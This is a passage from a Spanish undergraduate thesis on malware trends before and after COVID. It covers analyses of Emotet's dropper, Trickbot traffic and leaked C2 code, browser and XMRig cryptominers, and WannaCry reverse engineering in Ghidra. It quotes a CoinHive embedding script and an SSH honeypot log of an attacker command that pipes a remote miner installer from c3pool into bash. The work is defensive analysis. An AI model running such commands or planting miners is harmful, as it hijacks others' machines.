que el resto de usuarios. Aśı entonces, el usuario malicioso es capaz de parar confirmaciones

y crear nuevas transacciones.

Se podŕıa pensar que es problema de la infraestructura del gobierno argentino, pero

no es necesariamente el caso, este tipo de ataques son inherentes a la mayoŕıa de redes, y

de hecho estos ataques han ocurrido múltiples veces en muchas criptomonedas famosas.

Como gran ejemplo se puede analizar Ethereum Classic que sufrió 3 veces este ataque

en 2020 durante un solo mes [83] o Bitcoin Gold, que en 2018 también sufrió este ataque

asumiendo pérdidas de más de 18 millones de dólares[84].
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Por otra parte, se pueden analizar ejemplos cotidianos, en aplicaciones presentes en el

d́ıa a d́ıa. Se analiza una cita del blog de BBVA.

''Quioscos activados por voz para recoger el periódico sin tocar nada, robots a las
entradas de los hoteles para recibir a los turistas y hologramas que sustituyen a
los botones para reducir el contacto en los ascensores.''

- Banco BBVA[85]

A pesar de las ventajas que estos sistemas proponen, muy a menudo no son testeados

los suficiente. Especialmente, desde el punto de vista de la seguridad, haciendo pues, que

las prestaciones acaben siendo puntos de entrada para los atacantes. Según un reporte

de Unit 42 [86] (un equipo de Palo Alto Networks) en 2020, 6 de cada 10 (57%) de los

dispositivos IoT son vulnerables a al menos ataques de seguridad con severidad media.

Se añade también, que el 98% del tráfico no se encuentra encriptado.

La cantidad de ataques producida también sufrió un incréıble aumento. Según un

estudio de ZScaler [87], en Diciembre de 2020 se bloquearon 300.000 ataques de malware

a IoT, un 700% más que en año anterior. Estos ataques se realizaban a todo tipo de

dispositivos: Impresoras, televisiones inteligentes, cámaras, etc. 553 dispositivos distintos

fueron analizados.

Microsoft también reporta un aumento del 35% en la primera mitad de 2020 con

respecto a la segunda mitad de 2019[88].

Analizando los datos gráficamente, también se puede ver una muy clara correlación

entre los ataques a IoT (fig. 7.12) y la influencia del COVID (fig. 7.12).
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Figura 7.11: Malware detectado en dispositivos IoT según un reporte de Sonicwall [4].

Figura 7.12: Casos de COVID-19 durante el trascurso de 2020[5].
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Caṕıtulo 8

InfoStealers

A continuación, se hará un análisis de las familias mencionadas utilizando diversos

métodos de reversing o análisis. Se hará hincapié en diferentes aspectos, de forma que se

pueda tener un concepto más generalizado de la situación.

Esta sección se centra en familias categorizadas como “stealers”. Es decir, malware que

busca el robo de información.

8.1. Muestra Pre-COVID: Emotet

En esta sección, se muestra un análisis de la familia Emotet, a menudo nombrada como

“una de las familias de stealers más predominantes” y “la principal amenaza en el mundo

del malware”[89].

En este caso, se prestará especial atención al modelo de negocio y sus métodos de

infección. Se analizará también en gran detalle la parte del dropper, encargada de obtener

el malware en śı.

63
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8.1.1. Introducción

Emotet es una familia de malware identificada por primera vez en 2014[33].

En primer lugar, se trataba de un troyano bancario que buscaba robar información

financiera de sesiones bancarias mediante ataques man-in-the-browser (MITB).

Figura 8.1: Ataque “man-in-the-browser” (MITB) - Fuente: Secret Double Octopus [6].

En un ataque man-in-the-browser, el usuario malicioso es capaz de obtener las peti-

ciones enviadas por el navegador del usuario infectado, aśı como modificarlas a su gusto.

No obstante, desde 2017, se ha utilizado para distribuir otras familias de malware

como Zeus Panda o Trickbot [90].

Este cambio propone un nuevo modelo de negocio del atacante, donde la principal

fuente de ingresos se basa en la venta de accesos a una infraestructura de tipo botnet a

otros operadores de malware.
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Figura 8.2: Modelo de negocio de la familia Emotet.

8.1.2. Etapas de infección de la familia Emotet

En la mayoŕıa de los casos, Emotet se basa en técnicas de ingenieŕıa social. Centrándose

sobretodo en la infección por medio de e-mails.

En gran parte de las campañas de Emotet, el autor del malware hace uso de e-mails

previamente obtenidos de la v́ıctima. De esta forma, el e-mail malicioso se puede enmas-

carar de forma mucho más leǵıtima, incrementando aśı su porcentaje de éxito.

Según el análisis de Bromium, en la primera mitad de 2019, el formato más común

utilizado fue Microsoft Word 97-2003 Document (.DOC)[91].

Para tratar de evitar la detección, también es común que el archivo se encuentre dentro

de un fichero comprimido (.ZIP) encriptado, cuya contraseña se encuentra en el cuerpo

del mensaje.

Estos ficheros .DOC, suelen poseer macros maliciosas, que obtienen de dominios com-

prometidos la muestra de malware.

En la figura 8.3, se ilustra a modo de resumen todo este proceso.
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Figura 8.3: Proceso de infección del malware[7].

A continuación, se va a realizar el análisis de una campaña de Emotet concreta[92].

Se utiliza la muestra con el hash:

82fa35d4f8552c453b7ae2603738478cc22a266e687e481d02473ace810c7e1a

8.1.3. Dropper

En primer lugar, se realizará el análisis del dropper, es decir, el archivo encargado de

descargar el malware. Tal y como hemos mencionado, este archivo es comúnmente enviado

por correo electrónico y adjuntado como fichero .DOC.
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Figura 8.4: Dropper en fichero “.DOC”..

El fichero descargado mediante este documento será el encargado de atacar a los

diversos ordenadores que se encuentren en la misma red local, aśı como exfiltrar datos del

host y descargar otro malware. Tal y como se ha mencionado en la sección de malware

post-COVID, algunas de las muestras “afiliadas” pueden ser Trickbot y Ryuk.

De igual manera que la mayoŕıa de muestras de droppers con Word, se hace uso de

código VBA (Visual Basic for Applications) obfuscado para descargar el malware desde

servidores comprometidos.

Para analizar de forma sencilla el VBA ofuscado, se hará uso de la herramienta Vi-

perMonkey [93]. ViperMonkey hace uso de Python para el parseo y emulación de VBA.

Funciona de la siguiente manera:

1. El código fuente de la macro VBA se extrae de los ficheros Office usando olevba[94].

2. El código es parseado usando gramática definida por pyparsing, siguiendo las espe-

cificaciones oficiales de MS-VBAL.
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3. El parser transforma el código VBA en objetos de Python, lo que permite acceder a

un modelo de objetos estructurado.

4. Un emulador ejecuta el código, simulando las caracteŕısticas de MS Office, aśı co-

mo DLLs y objetos de ActiveX (elementos comúnmente utilizados en muestras de

malware).

5. Las acciones son registradas y grabadas.

6. Los resultados se presentan de una forma amigable y clara, lo que es de gran interés

para el análisis de la muestra.

En la figura 8.5 se puede ver como se ejecuta la herramienta sobre el dropper de

Emotet. En la figura 8.6, se puede ver un extracto de las macros que han sido parseadas.

Figura 8.5: ViperMonkey.
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Figura 8.6: Macros del documento.

De todas las macros, nos interesa el punto de entrada. Esta se puede ver en la figura

8.7.
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Figura 8.7: Punto de entrada.

Simplemente formateando la salida y realizando simples cambios ya se puede apreciar

claramente lo que hace este dropper.
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Tal y como se aprecia en la figura 8.8, existen 5 URLs que vienen en una String. Está

será convertida en un array mediante el método split().

Figura 8.8: Macro formateada.

Posteriormente, se pasará a descargar el fichero y analizarlo.

8.1.4. Malware en śı

Aunque el interés en esta sección era el analizar la fase de infección, se hará un análisis

breve de la muestra, de forma que se pueda conocer su estructura y comportamiento.

Antes de analizar a fondo la muestra, se realizará lo que se denomina triaje. Es decir,

obtener el máximo conocimiento de la muestra antes de analizarla.

Para comenzar, se hará uso de exiftool. Exiftool es una herramienta escrita en Perl que

permite la lectura de metadatos en muchos ficheros. También se puede hacer uso de la

herramienta signsrch que busca implementaciones comunes de encriptación o compresión.

No obstante, parece no encontrar nada.
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Figura 8.9: Archivo descargado del dropper.

Figura 8.10: Búsqueda de algoritmos de cifrado.
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La lista de imports parece no ser demasiado larga, por lo que podŕıa ser un indicador

de estar empacado.

Figura 8.11: Imports iniciales.

Comprobamos entonces la entroṕıa. Para eso usamos pecheck.py [95], una herramienta

muy útil para obtener información sobre un PE (Portable Executable).

Figura 8.12: Análisis de entroṕıa sobre la muestra.

Se obtiene una entroṕıa de 6.66 sobre 8.0. Por todos los indicios obtenidos, se podŕıa

decir que se encuentra empacado.
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Finalmente, corremos el software “Capa”, una herramienta de Flare (Mandiant) que

permite detectar comportamientos en un ejecutable. Como se puede observar en la figura

8.13, se detectan comportamientos como la detección de máquinas virtuales, detección de

debuggers, codificación XOR, etc.

Figura 8.13: Comando Capa sobre el malware.

Además, gracias a herramientas gratuitas en la nube como Cuckoo Sandbox o similares,

podemos generar gráficos de ejecución de manera muy sencilla. A continuación, en la figura

8.14, se muestra el gráfico de ejecución dado por JoeSandbox [8].

En la figura, se aprecia como el malware contacta con numerosas URLs, las cuales son

detectadas como maliciosas. Además, crea varios subprocesos los cuales poseen nombres

de procesos comunes, pero son realmente maliciosos. Por ejemplo: putty.exe. Dichos sub-

procesos se encargan de modificar configuraciones de antivirus, esconder las trazas de la

muestra descargada y realizar conexiones de red.
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Figura 8.14: Comportamiento del malware - Gráfico generado por JoeSandbox [8].

El malware se presenta de forma muy modular. Esto es debido a que posee módulos

para escalar privilegios, obtener contactos y emails para infectar a otros usuarios, hacer

fuerza bruta de credenciales y también actuar como proxy del C2.

Por todas estas capacidades, su propagación es rápida y al colaborar con otras muestras

el usuario infectado se ve con diversas amenazas a la vez.
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8.2. Muestra Post-COVID: Trickbot

Tal y como se ha mencionado en la sección 7.1.2, Trickbot, junto con Emotet, han sido

las principales familias de stealers, y a menudo han trabajado de la mano.

En esta sección se hará análisis tanto de una traza de red como del código fuente.

8.2.1. Análisis de red

A continuación, se hará el análisis de una traza de tráfico de red producida al ser

infectado por la familia Trickbot.

Para obtener la traza de red se hará uso de la página web del famoso investigador

“Brad Duncan” apodado en sus redes sociales como @malware_traffic[96]

En su página web, permite como ejercicio descargar ciertas muestras de malware y

trazas de red. En este caso se analizará la denominada “CatBomber”[97].

Figura 8.15: Descarga de una traza de red producida al infectarse con la familia Trickbot.

Para el análisis de trazas de red, se hará uso de la herramienta Wireshark [98]. Esta

herramienta es posiblemente la más utilizada para análisis de tráfico de red y de protocolos.

Uno de los primeros pasos al analizar una traza de red, puede ser filtrar por protocolos.

Para comenzar, es de especial utilidad el protocolo de DNS.

DNS, del inglés “Domain Name System”, es una manera de nombrar e identificar de

forma jerárquica y descentralizada a los diversos sistemas que se encuentran en internet.

Por tanto, dicho protocolo, nos permite con solo un vistazo identificar los dominios

con los que se contacta.
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Figura 8.16: Uso del filtro por protocolo: DNS.

En la figura 8.16, se puede ver que existen llamadas a diversas APIs de obtención de

IP. A simple vista, esto no tiene por qué ser un indicador de malware, pero si es una

práctica muy común.

El conocer la IP externa, permite al atacante conocer la dirección con la que se puede

conectar de vuelta, o simplemente para identificar a la v́ıctima en su red de infectados.

Posteriormente se analizan las peticiones en el protocolo HTTP. De nuevo, se observan

llamadas a varios dominios para obtener la IP externa. Pero, más interesante aún, se puede

observar otras llamadas a varias IPs.

Figura 8.17: Peticiones HTTP

En la figura 8.19, se observa que la petición se hace mediante el comando curl [99].

Curl es un sencillo comando para transferir datos o archivos mediante diversos protocolos,

entre ellos HTTP.
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Además, se observa que el servidor se identifica como “Cowboy” lo cual es uno de

los identificadores que proporciona la CISA (Cybersecurity & Infrastructure Security

Agency)[100] para identificar la familia Trickbot [101].

Figura 8.18: Indicador proporcionado por la CISA para identificar la familia Trickbot.

Figura 8.19: Llamada a API para conocer la IP.

De hecho, las sospechas son ciertas, pues posteriormente, se puede observar como se

hacen peticiones POST enviando datos sensibles.

Algunos de los datos enviados son: contraseñas deOutlook, configuraciones deOpenVPN,

claves SSH, procesos ejecutándose en el sistema, información de red, etc.
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Figura 8.20: Llamadas POST maliciosas.

Pasando a analizar los archivos, tal y como se aprecia en la figura 8.21 que el icono es

aparentemente benigno.

Figura 8.21: “.ico” aparentemente no malicioso.

No obstante, al analizar los otros archivos se puede ver claramente como se trata de

un fichero exe (ejecutable).

La identificación es sencilla, en primer lugar, el archivo comienza por el número mágico

“MZ”. Además, se observan strings relacionadas con DOS.
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Figura 8.22: El resto de imágenes con carácter maliciosas.

Una búsqueda de paquetes que contengan esta cadena de texto nos devuelve los dos

archivos.

Figura 8.23: Búsqueda de ejecutables.

Finalmente, se puede observar como es usado el protocolo TLSv1. Este protocolo es

considerado obsoleto a d́ıa de hoy, aunque se mantiene su soporte por retrocompatibilidad.
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Figura 8.24: Uso de TLSv1.

A continuación se hará una identificación, de manera rápida, de los archivos mencio-

nados en la traza. Para comenzar, se extraen los ficheros presuntamente maliciosos de la

traza.
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Figura 8.25: Extracción de los ficheros maliciosos.

Mediante la herramienta Detect It Easy [102], podemos obtener la entroṕıa de las di-

ferentes secciones de los archivos. Tal y como se muestra en la figura 8.26, las secciones

.text y .rsrc se encuentran empacadas.

En este caso, corresponden a las secciones de código y de recursos.
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Figura 8.26: Entroṕıa de uno de los ficheros (“imgmapper.exe”).

Figura 8.27: Hash MD5 de uno de los ficheros (“imgmapper.exe”).

Mediante la misma herramienta, es posible obtener el hash MD5 y analizándolo con

VirusTotal[103] se obtiene que es malicioso, 54/71 antivirus lo detectan como virus; 29 de

ellos lo detectan como troyano y 8 lo detectan como Emotet.
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Figura 8.28: Análisis en VirusTotal de uno de los ficheros (“imgmapper.exe”).

Al ejecutar y analizar su comportamiento en una sandbox, como filescan.io[104], se

observan claros signos de que se trate de un infostealer. Por mencionar comportamientos

extraños, se puede destacar el uso de keylogging (registro de las teclas pulsadas), captura

de pantalla e inyección en procesos.

Figura 8.29: Análisis de comportamiento de uno de los ficheros (“imgmapper.exe”).
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8.2.2. Análisis del código de fuente

Aunque se explica con más detalle en la sección 10.2; Conti, una de las organizaciones

cibercriminales más grandes, sufrió ciertas filtraciones por parte de miembros internos.

Estos miembros filtraron gran cantidad de documentos, aśı como las herramientas

utilizadas. Entre ellas se encontraba el código de fuente de Trickbot.

Esto nos permite por tanto, hacer un análisis del funcionamiento de una forma 100%

clara. Además, esto se podrá contrastar con los análisis realizados en la sección 8.2.1.

El código fuente, basado en Erlang, está compuesto principalmente de dos componen-

tes:

1. “dero” : Parte encargada de hacer el manejo de los datos, aśı como de la base de

datos y el manejar las peticiones de comandos.

2. “lero” : El colector de datos.

La base de datos es de tipo SQL, concretamente Postgres SQL y todo el control de los

comandos se hace mediante peticiones HTTP (Hypertext Transfer Protocol) de tipo GET

y POST.

El sistema está preparado para que el sistema de manejo de la base de datos pueda

estar ejecutándose en otra máquina remota. Lo cual tiene bastante sentido desde el punto

de vista de la seguridad.

A partir de los archivos SQL encontrados, se ha recreado la base de datos, que se

muestra a continuación (fig. 8.30).



In
fo

St
ea

le
r
s

In
fo

St
ea

le
r
s

In
fo

St
ea

le
r
s

In
fo

St
ea

le
r
s

In
fo

St
ea

le
r
s

In
fo

St
ea

le
r
s

In
fo

St
ea

le
r
s

In
fo

St
ea

le
r
s

InfoStealers 86

Figura 8.30: Base de datos utilizada por Trickbot.

Tal y como se ve en la figura 8.30, en la base de datos se almacena información de las

v́ıctimas, aśı como ficheros para enviar y comandos para ejecutar.

De cada v́ıctima se guardan las siguientes propiedades: Id de grupo, Id de cliente,

sistema operativo, dirección IP, páıs, importancia y “userdefined”, cuándo fue registrado

y último momento en ĺınea.

Los campos de “userdefined” e “importancia” son numéricos (números negativos, 0 y

positivos) y manejados por el propio software.

Como en cualquier servidor HTTP, el env́ıo de datos al servidor se hace mediante

peticiones HTTP POST. Y la obtención de ellos se hace mediante peticiones GET.

Todo el contenido se maneja en formato de texto y binario.

Puesto que pueden existir numerosos reverse-proxies (servidores que redirigen el tráfico
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de los clientes a diversos servidores), DNATs (encargado de traducir IPs de destino al

conectar de IPs públicas a privadas) y balanceadores de carga entre el servidor y la

v́ıctima, desde el servidor no es posible conocer la dirección IP pública de la v́ıctima.

De nuevo, cobra gran sentido, que las primeras peticiones en la traza de red analizada

sean a diversas APIs que devuelven la IP pública de la v́ıctima.

Figura 8.31: Llamada a API para conocer la IP.

Para tener identificada a la v́ıctima en todo momento, se adjuntan siempre ciertos

metadatos a las peticiones. Los metadatos enviados son:

Tiempo actual

Id de grupo

Id de la v́ıctima

Además, todas las peticiones tienen la misma estructura:

/<id-de-grupo>/<id-del-cliente>/<comando>/

El Id del grupo, es una cadena de caracteres (a-z) y números (0-9), sin importar en

este parámetro las mayúsculas o minúsculas.
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El Id de la v́ıctima se conforma de la siguiente forma:

En primer lugar, existe una parte obtenida a base de parámetros del sistema. Siguiendo

el esquema: <nombre>_XYYYYYYY

Nombre: El nombre identificador de la máquina, obtenido con ciertos parámetros

de la v́ıctima (ya sea con su usuario, sistema operativo, o cualquier identificador).

X: Un carácter que identifica el tipo de sistema del usuario siendo: W - Windows,

L - Linux, A - Android, M - Mac OS.

YYYYYYY: 3-7 d́ıgitos que conforman la versión del sistema operativo.

En segundo lugar, obtenido de forma aleatoria, se generan 32 caracteres alfanuméricos

aleatorios. En este parámetro si importan las mayúsculas o minúsculas.

Figura 8.32: Generación del Id de usuario en el malware Trickbot.

Finalmente, el último parámetro de las peticiones es el de los comandos. Los comandos

vienen dados por un identificador numérico de 0 a 999.



In
fo

St
ea

le
r
s

In
fo

St
ea

le
r
s

In
fo

St
ea

le
r
s

In
fo

St
ea

le
r
s

In
fo

St
ea

le
r
s

In
fo

St
ea

le
r
s

In
fo

St
ea

le
r
s

In
fo

St
ea

le
r
s

InfoStealers 89

Todos los datos de cada comando, son guardados en la base de datos en las tablas

nombradas como "data<numComando>".

A continuación (fig. 8.33) se muestran las tablas para 4 comandos distintos (83, 90,

80 y 84).

Figura 8.33: Tablas relacionadas con los comandos 83, 90, 80 y 84.

Se muestra además el manejador de las peticiones HTTP para estos comandos:

Figura 8.34: Manejador de peticiones HTTP para los comandos dados.
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Analizando el código del parser de una petición para el comando "90", podemos ver que

concuerda totalmente con la petición que obtuvimos en wireshark en la sección anterior

(sección 8.2.1).

Figura 8.35: Parsing de la respuesta de la v́ıctima al comando 90.
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Figura 8.36: Wireshark - Comando 90.

En el caso analizado anteriormente la petición es:

/yas33/CAT-BOMB-W7-PC_W617601.1071BE97...66/90

Que comparándola con el esquema de una petición de Trickbot, concuerda totalmente:

/<id-de-grupo>/<id-del-cliente>/<comando>/

En este caso el ID de grupo tiene el valor “yas33”, el ID del cliente en primer lugar

tiene valor “CAT-BOMB-W7-PC”, se trata de una máquina Windows y el componente

aleatorio es “617601.1071BE97...66”, el comando a ejecutar es el 90.
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Funciones API para los administradores

Además, se proveen de diversas APIs para los administradores del malware, de forma

que sea más sencilla interaccionar con él.

Este tipo de peticiones tienen la siguiente estructura:

/<apikey>/<apikeypass>/<function>/<param1>/<param2>/<param3>/

Se muestran las posibles funciones encontradas:

GetGroupData : Devuelve la información de un grupo.

UploadFile : Sube un fichero al servidor.

UploadConfig : Sube una configuración al servidor.

UploadLink : Sube un link al servidor.

Figura 8.37: Base de datos - API para el administrador.
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Registro de actividad

Toda la actividad, tanto de las v́ıctimas como con la API de “administrador”, es

guardada en un registro con los siguientes datos: Dı́a y hora, clave API, identificador y

función.

Archivos y configuraciones

Tanto el paso de archivos como de configuraciones, se hace mediante referencias en la

base de datos.

Estos archivos poseen ciertas etiquetas que permiten ordenar o filtrar los elementos.

Por ejemplo, versiones para las configuraciones o filtros con un lenguaje espećıfico.

Esto permite filtrar por ID de grupo, páıs, sistema operativo, importancia, ID de

cliente, etc. Si existiera más de un elemento posible, se tomaŕıa el de mayor versión.

Figura 8.38: Base de datos - Archivos, configuraciones, etc.
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Cola de comandos

Cada v́ıctima tiene su propia cola de comandos. Los comandos son añadidos por el

administrador y son eliminados de la cola cuando la v́ıctima devuelve un informe de su

ejecución (comando /10/).
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Caṕıtulo 9

Mineros

Tal y como se ha mencionado en la sección 7, los mineros de criptomonedas o cripto-

mineros, componen la gran mayoŕıa del malware; tanto en la situación pre-COVID como

en la post-COVID.

Por ello, se considera que un análisis más cercano podŕıa ayudar a comprender aún

mejor el impacto que el COVID ha tenido sobre este tipo de malware.

Basándonos en lo ya analizado en secciones anteriores, se conoce que existe una fuerte

correlación entre el precio del Bitcoin y el uso de criptomineros. No obstante, no se han

analizado las funcionalidades y caracteŕısticas intŕınsecas del malware.

Se realizará primero un análisis de los mineros pre-COVID, seguido por la situación

post-COVID.

9.1. Mineros Pre-COVID

Tal y como ya se ha comentado en la sección 7.1.1, la mayoŕıa de las detecciones se

encuentran en las siguientes familias: Coinhive (30 % ), Cryptoloot (23 % ), JseCoin (17

% ), XMRig (7 % ), Authedmine (6 % )

A continuación se hará un breve paso por las distintas familias de forma que se puedan

comparar con las muestras post-COVID y aśı evaluar si existen cambios notorios.
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En general, todos los mineros de la lista tienen caracteŕısticas similares. De hecho, ex-

ceptuando XMRig [105], todos los mineros están basados en implementaciones Javascript

e infectan/atacan por medio del navegador web.

Destacar también, que Authedmine, a pesar de mencionarse como familia diferente, no

es más que una versión de Coinhive modificada.

Authedmine, surgió como respuesta a los antivirus. Debido a que las firmas de antivirus,

con el tiempo, fueron capaces de detectar y mitigar este tipo de malware, Coinhive, con

tal de seguir en el mercado, creó una versión dónde el usuario pod́ıa dar consentimiento

de forma expĺıcita, buscando aśı, que el “software” no se considerara malware, sino una

alternativa a los anuncios. No obstante, la idea no llego a tener éxito, pues este tipo de

mineros fueron bloqueados también.

Debido a esto, se puede apreciar que la utilización del minero con consentimiento es

mucho menor:

Figura 9.1: Arriba: Coinhive con consentimiento (miles de usuarios).
Abajo: Coinhive sin consentimiento (millones de usuarios). Fuente: MalwareBytes.
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9.1.1. Modo de uso de un criptominero

El modo de uso de los mineros es prácticamente el mismo entre las diferentes muestras.

En general, basta con incluir un script en la página HTML y el minero funcionará solo.

Como ejemplo se muestra el script necesario para incluir CoinHive.

const CoinHive = require('coin-hive');
(async () => {
const miner = await CoinHive('ZM4gjqQ0'); // CoinHive's Site Key
await miner.start(); // Start miner
// Listen on events
miner.on('found', () => console.log('Found!'));
miner.on('accepted', () => console.log('Accepted!'));
miner.on('update', data =>

console.log(`
Hashes per second: ${data.hashesPerSecond}
Total hashes: ${data.totalHashes}
Accepted hashes: ${data.acceptedHashes}

`)
);
// Stop miner
setTimeout(async () => await miner.stop(), 60000);

})();

9.1.2. Panel de control

Puesto que este tipo de malware estaba destinado para todo tipo de usuarios, era

común ofrecer un panel de control donde se pudiera manejar de forma sencilla el com-

portamiento del minero y tener a acceso a funcionalidades como estad́ısticas, retirada de

dinero, etc.
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Figura 9.2: Panel de control para JSECoin.

9.1.3. Diferencias entre las familias

Tras analizar las diferentes familias de malware, se puede apreciar que no existen

grandes diferencias entre ellos, de hecho, las principales diferencias recaen en tasas más

competitivas o funcionalidades secundarias como referidos o loteŕıas.
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Figura 9.3: La página de CriptoLoot ofertando una menor tasa que sus competidores.

9.2. Mineros post-COVID

A continuación, se analiza la situación de los criptomineros post-COVID.

9.2.1. Coinhive

A pesar de ser uno de los más predominantes a nivel estad́ıstico, fue uno de los primeros

mineros de la lista en cerrar. Según ciertas declaraciones: “La cáıda en hash rate (más del

50%) desde el último fork de Monero nos afectó mucho” y “Aśı como el crash del mercado

de criptomonedas que causó que XMR se depreciara más del 85% en un año.”. Es decir,

al no tener una forma tan eficiente de minar y debido a la depreciación de la moneda,

tuvieron que cerrar.

Esto no es más que otra evidencia de la correlación entre el precio de las criptomonedas

y el uso de este tipo de malware.

A d́ıa de hoy, el dominio se encuentra vaćıo y si se visita, se redirige a una entrada del

blog del famoso investigador Troy Hunt, creador de HaveIBeenPwned. El post tiene como

t́ıtulo: “Yo ahora poseo el dominio de CoinHive. Esto es lo que estoy haciendo para luchar

contra el cryptojacking y haciendo buenas cosas con poĺıticas de seguridad de contenido”.
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Figura 9.4: Post del blog de Troy Hunt.

En este post, cuenta como ha obtenido el dominio, aśı como algunas estad́ısticas de

los visitantes. Esto es especialmente relevante para el estudio de este TFG, pues como el

script apunta al dominio, se pueden registrar cuantos usuarios estaŕıan siendo v́ıctimas

actualmente.

En el siguiente gráfico se muestran los visitantes únicos infectados por CoinHive en

2021:

Figura 9.5: Visitantes únicos en el dominio de Coinhive.
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Con la siguiente distribución demográfica:

Figura 9.6: Distribución demográfica del tráfico en el dominio de Coinhive.

Troy Hunt al tratarse de un whitehat (hacker ético) con renombre en la comunidad,

hizo el bien, haciendo que el script devuelto (el antes minero) sea un pop-up informando

a los visitantes del sitio infectado.

Figura 9.7: Pop-Up alertando a los visitantes.
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9.2.2. Otros mineros basados en Javascript

Para el resto de mineros basados en Javascript, el resultado fue similar. Para Crypto-

Loot, aunque el dominio parece estar en ĺınea[106], ciertos contenidos de la web no parecen

estar al d́ıa. Además el registro no parece funcional en estos momentos.

Figura 9.8: Registro no funcional.

En la página de JSECoin también se puede observar un mensaje del aviso de cierre

de JSECoin[107].
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Figura 9.9: Mensaje de cierre para JSECoin.

9.2.3. Mineros tradicionales

Tal y como se ha visto, todas las familias de mineros basados en el navegador, han

sido mitigados, por lo que la situación de los mineros post-COVID se centra sobretodo en

mineros tradicionales basados en XMRig o similares.

La gran cantidad de mineros, se ha podido observar durante todo el análisis realizado

en la realización del TFG. Por ejemplo, se manifiesta comúnmente en los logs del honeypot

SSH, desplegado en la sección 3.1.1.

En ellos, se registran numerosos intentos diarios tratando de instalar mineros basados

en XMRig.

Por lo general, los ataques son poco sofisticados y muy ruidosos, pues en numerosas

ocasiones se trata de cerrar todos los procesos (o algunos concretos).

A continuación, se muestra un extracto de los logs dónde un atacante trata de acceder

al SSH e instalar un minero apuntando a su dirección.

2021-10-20 01:49:01,475 - root - INFO - new client credentials (179.43.175.26):
username: ubnt, password: ubnt↪→

2021-10-20 01:49:01,514 - root - INFO - client sent command via
check_channel_exec_request ({maliciousIP}): b'pkill ip; pkill xmrig; pkill Opera;
pkill x86; pkill docker; pkill java; curl -s -L
http://download.c3pool.com/xmrig_setup/raw/master/setup_c3pool_miner.sh |
LC_ALL=en_US.UTF-8 bash -s {maliciousAddress}'

↪→

↪→

↪→

↪→
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Puesto que XMRig proporciona un script para realizar la instalación de forma au-

tomática, los ataques son muy parecidos. Tal y como se observa, en primer lugar se usa

pkill para cerrar una serie de procesos, posteriormente, mediante curl o wget se descarga

el fichero .sh (bash) de XMRig y se apunta a una dirección de la cartera de Monero.

9.2.4. Conclusión

Durante este análisis, se ha observado que a pesar de que los métodos y funcionalidades

cambien drásticamente, no se debe al COVID, sino a la detección y mitigación generalizada

por parte de los antivirus con este tipo de malware.

Desde el punto de vista de un analista de malware, se puede considerar que la situación

ha mejorado considerablemente, pues al volver a los mineros tradicionales, se requiere de

nuevo de vulnerabilidades u otros métodos tradicionales para la infección de los usua-

rios; al contrario de los mineros basados en Javascript dónde el usuario se encontraba

completamente indefenso y pod́ıa ser fácilmente infectado.
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Caṕıtulo 10

Ransomware

Tal y como se ha visto durante el trascurso del TFG, el ransomware es uno de los

problemas más crecientes en los últimos años.

Sus ataques causan gran daño en el sistema, pues encriptan el sistema haciéndolo

prácticamente inservible e infectando a otros sistemas de la red.

En esta sección, se analizarán dos muestras de malware, como siempre, pre y post

COVID.

10.1. Muestra Pre-COVID: Wannacry

WannaCry es posiblemente uno de los ataques de ransomware más conocidos en el

mundo. Esta familia causó furor en mayo de 2017 haciendo uso de una vulnerabilidad en

versiones de Windows antiguas.

En esta sección, se hará un análisis a fondo de su funcionamiento, en este caso mediante

Ghidra, una herramienta de análisis de malware mediante análisis estático.

10.1.1. Triaje

Se comienza con una breve sección de triaje, lo que permite intuir el comportamiento

del malware, aśı como obtener algunas pistas para el posterior análisis estático.
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En primer lugar, se hace uso de PEFrame[108], de nuevo, otra herramienta open-source

para el análisis rápido de PEs.

Gracias a esta herramienta, obtenemos que existen operaciones con ficheros, aśı como

cambios en el registro y funciones criptográficas.

Figura 10.1: Comando PEFrame sobre la muestra.

También se obtienen numerosas funciones interesantes, como funciones relacionadas

con internet, servicios, ficheros, etc.

Esto nos permite conocer funcionalidades delmalware sin tan solo abrirlo, y podŕıamos

preparar herramientas distintas para un análisis dinámico. Por ejemplo, uso de Wi-

reshark [98] para obtener una traza de red.
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Figura 10.2: Comando PEFrame sobre la muestra - funciones usadas.

10.1.2. Ghidra del ejecutable inicial

A continuación, se importa el fichero en Ghidra.

Como en la mayoŕıa de muestras analizadas, no existe una función “main”. Sin embargo,

existe la función “entry”, que es la entrada por defecto para cualquier fichero PE. Esto

puede observarse en el apartado “Functions” de la ventana “Symbol tree”.
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Figura 10.3: Función “main” inexistente, pero existencia de la función “entry”.

El decompilado generado es el por defecto para ejecutables en Windows. La función

“main” por tanto, se encuentra al final de este método, concretamente en la ĺınea 65, en

la función “FUN_00408140()”.

Renombramos entonces la función a algo más sencillo de recordar, en este caso “win-

Main()”.
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Figura 10.4: Se renombra la función.

A partir de este punto, el proceso es siempre el mismo. Se hará uso del conocimiento

personal y de la documentación de Microsoft para obtener información de las funciones y

parámetros. Gracias a los parámetros y contexto se reconstruyen poco a poco los métodos

del malware.

Reconstrucción de argumentos de la función winMain

En este caso, conocemos que se trata de la función winMain, por lo que se pueden

obtener los parámetros de la documentación de Windows y modificar los parámetros del

método (tal y como se ve en la figura 10.6).
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Figura 10.5: Uso de MSDN (Microsoft Documentation) para obtener los parámetros de
las funciones.

Figura 10.6: Se cambian los parámetros en la función.
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En muchas ocasiones existen diferentes especificaciones para los tipos, por lo que se de-

berá seleccionar la libreŕıa correcta también. Una vez que se han modificado los parámetros

el cambio se propaga por todas las vistas.

Figura 10.7: Selección del tipo adecuado.

Figura 10.8: Parámetros en la vista de debugger.

Análisis de winMain

Lo primero interesante que se observa es una URL extraña. Esta URL es copiada a

una variable local y es utilizada posteriormente en funciones relacionadas con internet.
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Figura 10.9: URL en el main sospechosa con strcpy().

Tras identificar tipos y funciones, se obtiene el siguiente código:

Figura 10.10: Apertura de la URL - funciones identificadas y tipos cambiados.

Tal y como se observa, se hace una petición a la URL, si el valor de vuelta es un error,

el manejador de internet se cierra y se llama a la función que se ha llamado “mainReal()”.

Si no se obtuviera un error, el programa se cierra sin más.

De hecho, esta funcionalidad es la que permitió al investigador Marcus Hutchins, apo-

dado en las redes como “MalwareTech”’, parar la infección global. Al registrar este dominio,

las nuevas máquinas no seŕıan infectadas pues no ejecutaŕıan la función “mainReal()”.
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Figura 10.11: Función mainReal solo ejecutada si la URL no se puede alcanzar.

Ejecución sin argumentos

El comportamiento de este método, también depende de los argumentos obtenidos. Si

el programa se corre sin argumentos (por ejemplo la primera vez que se ejecuta por el

usuario), se llega a la siguiente función:

Figura 10.12: Si no se ejecuta con argumentos.
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Figura 10.13: Si no se ejecuta con argumentos se encuentran dos subfunciones.

